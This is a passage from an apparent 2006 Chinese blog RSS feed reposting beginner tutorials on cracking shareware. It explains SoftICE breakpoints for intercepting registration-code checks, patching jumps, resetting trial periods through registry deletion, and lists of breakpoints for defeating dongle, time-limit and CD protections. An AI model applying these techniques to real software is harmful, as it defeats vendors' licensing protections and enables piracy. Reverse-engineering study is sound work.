style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>十招教你学会破解</title><link>http://www.cnitblog.com/torch/articles/10623.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 14:48:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10623.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10623.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10623.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10623.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10623.html</trackback:ping><description><![CDATA[
		<strong>
				<font size="2">
						<span class="smalltxt">
								<span class="bold">[转帖]十招教你学会破解</span>
						</span>
						<br />
						<br />
				</font>
		</strong>
		<span style="FONT-SIZE: 11px">下面谈到了一些在学习解密过程中经常遇到的问题，本人根据自己的经验简单给大家谈一谈。这些问题对于初学者来说常常是很需要搞明白的，根据我自己的学习经历，如果你直接照着很多破解教程去学习的话，多半都会把自己搞得满头的雾水，因为有很多的概念要么自己不是很清楚，要么根本就不知道是怎么一回事，所以希望通过下面的讨论给大家一定的帮助： <br />  1. 断点：所谓断点就是程序被中断的地方，这个词对于解密者来说是再熟悉不过了。那么什么又是中断呢？中断就是由于有特殊事件（中断事件）发生，计算机暂停当前的任务（即程序），转而去执行另外的任务（中断服务程序），然后再返回原先的任务继续执行。打个比方：你正在上班，突然有同学打电话告诉你他从外地坐火车过来，要你去火车站接他。然后你就向老板临时请假，赶往火车站去接同学，接着将他安顿好，随后你又返回公司继续上班，这就是一个中断过程。我们解密的过程就是等到程序去获取我们输入的注册码并准备和正确的注册码相比较的时候将它中断下来，然后我们通过分析程序，找到正确的注册码。所以我们需要为被解密的程序设置断点，在适当的时候切入程序内部，追踪到程序的注册码，从而达到crack的目的。 <br />  2. 领空：这是个非常重要的概念，但是也初学者是常常不明白的地方。我们在各种各样的破解文章里都能看到领空这个词，如果你搞不清楚到底程序的领空在哪里，那么你就不可能进入破解的大门。或许你也曾破解过某些软件，但那只是瞎猫碰到死老鼠而已（以前我就是这样的^_^,现在说起来都不好意思喔！）。所谓程序的领空，说白了就是程序自己的地方，也就是我们要破解的程序自己程序码所处的位置。也许你马上会问：我是在程序运行的时候设置的断点，为什么中断后不是在程序自己的空间呢？因为每个程序的编写都没有固定的模式，所以我们要在想要切入程序的时候中断程序，就必须不依赖具体的程序设置断点，也就是我们设置的断点应该是每个程序都会用到的东西。在DOS时代，基本上所有的程序都是工作在中断程序之上的，即几乎所有的DOS程序都会去调用各种中断来完成任务。但是到了WINDOWS时代，程序没有权力直接调用中断，WINDOWS系统提供了一个系统功能调用平台（API），就向DOS程序以中断程序为基础一样，WINDOWS程序以API为基础来实现和系统打交道，从而各种功能，所以WINDWOS下的软件破解其断点设置是以API函数为基础的，即当程序调用某个API函数时中断其正常运行，然后进行解密。例如在SOFTICE中设置下面的断点：bpx GetDlgItemText（获取对话框文本），当我们要破解的程序要读取输入的数据而调用GetDlgItemText时，立即被SOFTICE拦截到，从而被破解的程序停留在GetDlgItemText的程序区，而GetDlgItemText是处于WINDWOS自己管理的系统区域，如果我们擅自改掉这部分的程序代码，那就大祸临头了^_^！所以我们要从系统区域返回到被破解程序自己的地方（即程序的领空），才能对程序进行破解，至于怎样看程序的领空请看前面的SOFTICE图解。试想一下：对于每个程序都会调用的程序段，我们可能从那里找到什么有用的东西吗？（怎么样去加密是程序自己决定的，而不是调用系统功能实现的！） <br />  3. API：即Application Programming Interface的简写，中文叫应用程序编程接口，是一个系统定义函数的大集合，它提供了访问操作系统特征的方法。 API包含了几百个应用程序调用的函数，这些函数执行所有必须的与操作系统相关的操作，如内存分配、向屏幕输出和创建窗口等，用户的程序通过调用API接口同WINDOWS打交道，无论什么样的应用程序，其底层最终都是通过调用各种API函数来实现各种功能的。通常API有两中基本形式：Win16和Win32。 Win16是原来的、API的16位版本，用于Windows 3.1；Win32是现在的、API的32位版本，用于Windows 95/98/NT/ME/2000。Win32包括了Win16，是Win16的超集，大多数函数的名字、用法都是相同的。16位的API函数和32位的API函数的区别在于最后的一个字母，例如我们设置这样的断点：bpx GetDlgItemText、bpx GetDlgItemTextA和bpx GetDlgItemTextW，其中 GetDlgItemText是16位API函数，GetDlgItemTextA和GetDlgItemTextW是32位API函数，而GetDlgItemTextA表示函数使用单字节，GetDlgItemTextW表示函数使用双字节。现在我们破解中常用到的是Win32单字节API函数，就是和GetDlgItemTextA类似的函数，其它的两种（Win16 API和Win32双字节API函数）则比较少见。 Win32 API函数包含在动态链接库（Dynamic Link Libraries，简称DLLs）中，即包含在kernel32.dll、user32.dll、gdi32.dll和comctl32.dll中，这就是为什么我们要在softice中用exp=C:\windows\system\kernel32.dll等命令行将这些动态链接库导入softice中的原因。因为不这样做的话，我们就无法拦截到系统Win32 API函数调用了。 <br />  4. 关于程序中注册码的存在方式：破解过程中我们都会去找程序中将输入的注册码和正确的注册码相比较的地方，然后通过对程序的跟踪、分析找到正确的注册码。但是正确的注册码通常在程序中以两种形态存在：显式的和隐式的，对于显式存在的注册码，我们可以直接在程序所处的内存中看到它，例如你可以直接在SOFTICE的数据窗口中看到类似"297500523"这样存在的注册码（这里是随意写的），对于注册码显式存在的软件破解起来比较容易；但是有些软件的程序中并不会直接将我们输入的注册码和正确的注册码进行比较，比如有可能将注册码换算成整数、或是将注册码拆开，然后将每一位注册码分开在不同的地方逐一进行比较，或者是将我们输入的注册码进行某种变换，再用某个特殊的程序进行验证等等。总之，应用程序会采取各种不同的复杂运算方式来回避直接的注册码比较，对于这类程序，我们通常要下功夫去仔细跟踪、分析每个程序功能，找到加密算法，然后才能破解它，当然这需要一定的8086汇编编程功底和很大的耐心与精力。 <br />  5. 关于软件的破解方式：本人将破解方式分为两大类，即完全破解和暴力破解。所谓完全破解主要是针对那些需要输入注册码或密码等软件来说的，如果我们能通过对程序的跟踪找到正确的注册码，通过软件本身的注册功能正常注册了软件，这样的破解称之为完全破解；但如果有些软件本身没有提供注册功能，只是提供试用（DEMO），或是注册不能通过软件本身进行（例如需要获取另外一个专用的注册程序，通过INTERNET的注册等等），或者是软件本身的加密技术比较复杂，软件破解者的能力、精力、时间有限，不能直接得到正确的注册码，此时我们需要去修改软件本身的程序码，即人为改淙砑脑诵蟹较颍庋钠平獬浦┝ζ平狻? <br />  6. 关于破解教程中程序代码地址问题：破解教程中都会放上一部分程序代码以帮助讲解程序的分析方法，例如下面的一段程序代码： <br />...... <br />0167:00408033　PUSH　00 <br />0167:00408035　PUSH　EBX <br />0167:00408036　CALL　[USER32!EndDialog] <br />0167:0040803C　JMP　0040812C <br />...... <br />  在这里程序中的代码地址如0167:00408033，其代码段的值（即0167）有可能根据不同的电脑会有区别，不一定一模一样，但偏移值应该是固定的（即00408033不变），所以如果看到破解文章里的程序代码的地址值和自己的电脑里不一样，不要以为搞错地方了，只要你的程序代码正确就不会有问题。 <br /><br />  7. 关于如何设置断点的问题：正确恰当的设置好断点对于快速有效的解密非常重要，好的断点设置可以使我们迅速找到关键的程序段，而不恰当的断点则会对解密造成不必要的精力消耗，甚至根本就不能拦截到程序的运行。但是具体什么时候用什么断点比较合适很难说，这需要自己用经验去累积，总的说来bpx hmemcpy这个万能断点对大多数注册码方式的软件都有用，初学者不妨多试试这个断点（通常我也是用这个断点设置，懒嘛^_^，哈哈。。。）。对于那些需要暴力破解的非注册码方式的软件，通常我们应该拦截对话框（如bpx DialogBox）和消息框（如bpx MessageBox(A)）等。不论对于哪一类软件，当我们设置的断点均没有效果时，可是试一下bpx lockmytask，这个断点的作用是拦截任何一个按键的动作，具体常用的一些断点设置请参考"破解常用断点设置"一文。另外，在注册码的破解中通常需要输入用户名和注册码，一般说来用户名和密码都可以随意输入，但是根据我自己的经验，很多软件对于注册码都会逐位的进行处理，假如输入"78787878"这串数字，那么在跟踪程序的时候我们就无法知道我们当时所看到的"78"倒底是哪一个"78"，所以我比较喜欢用"12345678"这样的注册码输入方式，这样的话就就能知道程序是在对注册码的哪一位进行运算，同样的对于那些需要输入较长序列号的软件，输入类似"12345-67890-ABCDEF"这样的序列号较好。 不过有一点大家需要特别的注意：上面讲的注册码输入方式"12345678"是针对拦截WIN32 API函数来说的，假如有些时候直接拦截WIN32 API函数难以找到程序的突破口，而要借助于"S"指令在内存中寻找我们输入的用户名或注册码时，就最好不要采用"12345678"作为注册码，因为内存中很可能有许多的"12345678"字符串，这样我们没有办法知道倒底我们要破解的程序使用的是哪一个"12345678"，所以我们应该选择一个不易和内存数据相同的注册码，比如：74747474（本人喜欢用，意思嘛：去死去死。。。哈哈哈^_^），对应的搜索指令为： S 30:0 L FFFFFFFF ';74747474'; 。当然，以上只是我个人的习惯而已，具体用什么样的输入形式可以根据本人的爱好、习惯来定，不必拘泥于某一固定的模式。 <br />8. 关于如何跟踪程序的问题：初学者在开始学习解密的时候往往不知道怎么样去跟踪程序，怎么样找到注册码比较的地方，当面对长长的一堆程序代码时显得不知所措。通常软件的程序内部都会利用一个子程序（即 CALL ********）去验证我们输入的注册码正确与否，对于注册码显式存在的程序，一般都会将所输入的注册码和正确的注册码放进寄存器，然后调用验证子程序进行判断，将结果返回，应用程序根据子程序返回的结果决定是否注册成功，这样的程序经常具有如下的形式： <br />****:********　MOV　EAX,[********]　　（或 PUSH EAX等形式） <br />****:********　MOV　EDX,[********]　　（或 PUSH EDX等形式） <br />****:********　CALL　******** <br />****:********　TEST　EAX,EAX　　　　　（或 TEST AL,AL，或是没有这一句等形式） <br />****:********　JNZ　********　　　　　（或 JZ ********等形式） <br />其中EAX和EDX指向的内存区域就是我们输入的注册码和正确的注册码，这里的寄存器EAX和EDX是随意写的，也可以是ECX，EBX，EDI，ESI等等。对于注册码隐式存在的程序，虽然不能直接看到正确的注册码，但是通常也是先将所输入的注册码地址放进某个寄存器，然后调用子程序去验证，破解时就需要进入子程序去分析注册算法。总之，看到子程序（call ********）后面跟着跳转指令（JNZ ********或JZ ********）的地方我们就应该提高警惕，多用 D EAX（或EBX、ECX、EDX、EDI、ESI...等）去看看寄存器指向的内存区域藏着什么东西。有一点大家要提醒大家：看见程序中使用下面这个函数是要注意，即GetDlgItenInt，这个API函数的作用是将输入的文本转化为整数，所以这类程序中是不会有显示存在的注册码的，因为注册码被转换为整数了，程序通常会用CMP ECX,EDX 这种类型的指令去验证注册码的正确性，这里ECX和EDX中存的就是所输入注册码和正确注册码的整数形式，此时可以用 ? edx 和 ? ecx 看到其十进制形式，即我们输入的形式。 <br />  9. 关于软件的反安装问题：经常我们使用某些软件时都会遇到一个问题，就是共享软件过期之后即使删掉原程序重新安装，程序依然不能用，还是一样提醒你试用期已过请注册；或者是你已经破解了某个软件，但是还想继续研究它，但是因为软件已经注册好，没有了注册选项，这时你即使彻底删掉程序再重新安装软件，结果程序运行后还是注册过的。遇到这样的情况，其实原因很简单，因为程序将注册或过期信息存在了系统注册表里，所以简单的重新安装软件是无济于事的。解决的办法就是自己删掉注册表中有关的信息，但是因为注册表是WINDOWS系统工作的基础，如果不小心就很可能会损坏它而引起系统异常，所以如果你对注册表不是很熟的话，应该在修改之前备份一下注册表。不论是修改还是备份注册表都可以使用WINDOWS下的注册表管理工具"REGEDIT"来进行，一种办法是在"开始-&gt;运行"下输入"regedit"启动它，也可以直接点击"C:\WINDOWS\regedit.exe"来运行。大部分的应用软件都会将自己的信息存在如下的路径中：HKEY_LOCAL_MACHINE\Software、HKEY_LOCAL_MACHINE\Software\Microsoft、HKEY_CURRENT_USER\Software、HKEY_CURRENT_USER\Software\Microsoft 或 HKEY_USERS\.DEFAULT\Software下，具体是哪个地方依据不同的程序而有所不同，只要按上面的顺序肯定能找到有关应用程序的键，然后将和用户名及注册码有关的键值删掉就搞定了。 <br />  10. 关于破解练习的问题：学习破解需要大量的练习，对于破解目标的选择，初学者不宜以大型的、著名的软件为目标，因为这些软件通常加密较为复杂，破解不易，应该选择一些比较不出名的、小型的和早些时候的共享软件来练习，因为加密相对简单的软件有利于初学者快速掌握破解思想和技能。至于习题的来源则很广泛，可以从网上下载，也可以去市面上购买一些共享软件光盘。</span>
<img src ="http://www.cnitblog.com/torch/aggbug/10623.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 22:48 <a href="http://www.cnitblog.com/torch/articles/10623.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>破解基础知识汇编</title><link>http://www.cnitblog.com/torch/articles/10622.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 14:47:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10622.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10622.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10622.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10622.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10622.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: [转载]破解基础知识汇编																										第一章--前言 好多哥们儿说看教程跟的书都看不太明白，所以，我尽量把话说到最容易理解的份上，本文写给那些刚入门和尚未入门的朋友们... 目录 no.1------------------前言（说明一下） no.2------------------汇编语言 no.3-----------------...&nbsp;&nbsp;<a href='http://www.cnitblog.com/torch/articles/10622.html'>阅读全文</a><img src ="http://www.cnitblog.com/torch/aggbug/10622.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 22:47 <a href="http://www.cnitblog.com/torch/articles/10622.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>破解常用断点大全</title><link>http://www.cnitblog.com/torch/articles/10621.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 14:44:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10621.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10621.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10621.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10621.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10621.html</trackback:ping><description><![CDATA[
		<span style="FONT-SIZE: 11px">断点大全<br />密码常用中断<br />Hmemcpy (win9x专用)<br />GetDlgItemTextA <br />GetDlgItemInt<br />vb:<br />getvolumeinformationa 　<br />vbastrcomp (trw)<br />Bpx __vbaStrComp (记得是两个 ';_';)<br />MSVBVM60!_vbastrcomp|sofice<br />MSVBVM50!           |　<br />VBAI4STR　<br />Ctrl+D <br />bpx msvbvm60!__vbastrcomp do "d *(esp+0c)"(softice) <br />按几次F5出册码出来了。 <br />bpx regqueryvalueexa do “d esp－&gt;8”(trw)　<br />vbaVarTstEq 判断是否注册的函数<br />(0042932F 66898580FEFFFF          mov word ptr [ebp+FFFFFE80], ax<br />改为0042932F 66898580FEFFFF       mov word ptr [ebp+FFFFFE80], bx)<br />时间常用中断<br />GetSystemTime<br />GetLocalTime<br />GetTickCount<br />vb:<br />rtcGetPresentDate          //取得当前日期　<br />杀窗常用中断<br />Lockmytask (win9x专用)<br />DestroyWindow<br />mouse_event (鼠标中断)<br />postquitmessage (Cracking足彩xp,很有用^_^)<br />vb:<br />_rtcMsgBox　<br />ini文件内容常用中断<br />GetPrivateProfileStringA<br />GetPrivateProfileProfileInt　<br />key文件:<br />getprivateprofileint<br />ReadFile<br />CreateFileA　<br />注册表常用中断<br />RegQueryvalueA<br />RegQueryvalueExA　<br />狗加密中断<br />BPIO -h 278 R<br />BPIO -h 378 R 　<br />其它常用函数断点<br />CreateFileA (读狗驱动程序), <br />DeviceIOControl, <br />FreeEnvironmentStringsA (对付HASP非常有效). <br />Prestochangoselector (16-bit HASP';s), ';7242'; 查找字符串 (对付圣天诺).具体含义参考下面的范例。　<br />光盘破解中断<br />16:<br />getvolumeinformation<br />getdrivetype<br />int 2fh (dos)<br />32:<br />GetDriveTypeA  <br />GetFullPathNameA<br />GetWindowsDirectoryA　<br />读磁盘中断<br />GETLASTERROR 返回扩充出错代码 　<br />限制中断<br />EnableMenuItem 允许、禁止或变灰指定的菜单条目 <br />EnableWindow 允许或禁止鼠标和键盘控制指定窗口和条目（禁止时菜单变灰） 　<br />不知道软盘中断是什么了？还有其它特殊中断，不知道其他朋友可否说一下了？<br />如:Lockmytask and mouse_event，这些就不是api32函数？<br />win9x 与 win2k进行破解，以上中断有部分已经不能用了？<br />不知道在win2k上，以上常用中断函数是什么了？<br />也就是问密码、时间、窗口、ini、key、注册表、加密狗、光盘、软盘、限制等！<br />了解常用的中断，对破解分析可以做到事半功倍！<br />请大家说一下！还有如何破解了某个软件时，一重启就打回原形？<br />不知道下什么中断了？可以分为三种情况：<br />1.比较可能在